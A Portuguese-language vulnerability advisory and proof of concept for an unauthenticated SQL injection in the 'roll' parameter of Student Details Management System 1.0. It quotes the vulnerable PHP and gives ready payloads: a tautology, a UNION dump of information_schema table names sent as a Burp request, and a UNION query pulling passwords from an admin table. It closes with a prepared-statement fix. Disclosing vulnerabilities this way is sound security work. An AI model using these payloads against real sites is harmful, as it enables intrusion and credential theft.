
Prova de conceito para injeção SQL não autenticada no Student Details Management System 1.0, demonstrando extração de dados baseada em UNION e roubo de credenciais.
| Campo | Detalhes |
|---|
| Produto | Student Details Management System |
| Fornecedor | code-projects.org |
| Versão | 1.0 |
| Tipo de Vulnerabilidade | Injeção de SQL (CWE-89) |
| ID CVE | Pendente |
| Pontuação CVSS | 9.8 Crítica (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação Necessária | Não |
| Arquivo Afetado | /SMS/index.php |
| Parâmetro Vulnerável | roll (POST) |
Existe uma vulnerabilidade crítica de injeção de SQL no arquivo index.php do Student Details Management System 1.0. O parâmetro roll enviado via requisição POST é diretamente concatenado em uma consulta SQL bruta, sem sanitização, validação de entrada ou uso de prepared statements. Isso permite que um atacante remoto não autenticado injete SQL arbitrário e realize extração de dados baseada em UNION, despejando todo o servidor de banco de dados, incluindo tabelas de credenciais.
A vulnerabilidade existe no formulário público de busca de estudantes, sem exigir qualquer autenticação.
Arquivo: index.php (linhas 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
Tanto $Standard quanto $RollNo são obtidos diretamente de $_POST sem escape ou parametrização. O atacante controla o parâmetro roll para sair do contexto da string SQL e injetar consultas arbitrárias.
Navegue até a página inicial do aplicativo e insira um número de matrícula válido:
http://<TARGET>/SMS/index.php
Insira 1001 no campo de número de matrícula → o aplicativo retorna os registros do estudante normalmente.

Insira uma aspa simples ' no campo de número de matrícula e clique em SHOW INFO.
Resultado: O MariaDB lança um erro fatal expondo a consulta SQL bruta e o caminho do arquivo:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

Payload:
' or 1=1 -- -
Resultado: Todos os registros de estudantes no banco de dados são retornados sem nenhum número de matrícula válido, confirmando que a injeção é explorável.

Requisição Burp Suite:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Resultado: A coluna name (posição 3 no UNION) reflete de volta todos os nomes de tabelas em todos os bancos de dados da instância MySQL — incluindo admin, global_priv, users, mysql.user e tabelas de credenciais de vários outros aplicativos instalados na mesma instância XAMPP.

O despejo revela tabelas sensíveis, incluindo admin, users, global_priv e tbl_admin de outros bancos de dados no mesmo servidor. Um atacante pode extrair credenciais com:
roll=1' union select null,null,password,null,null,null,null from admin-- -
Combinado com a saída de erro detalhada (Passo 2), a divulgação completa do caminho do arquivo também é confirmada:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
adminUse prepared statements com parâmetros vinculados:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
Além disso, desative a saída de erro detalhada do PHP/MySQL em produção definindo display_errors = Off no php.ini.
Pesquisador: Imad Alvi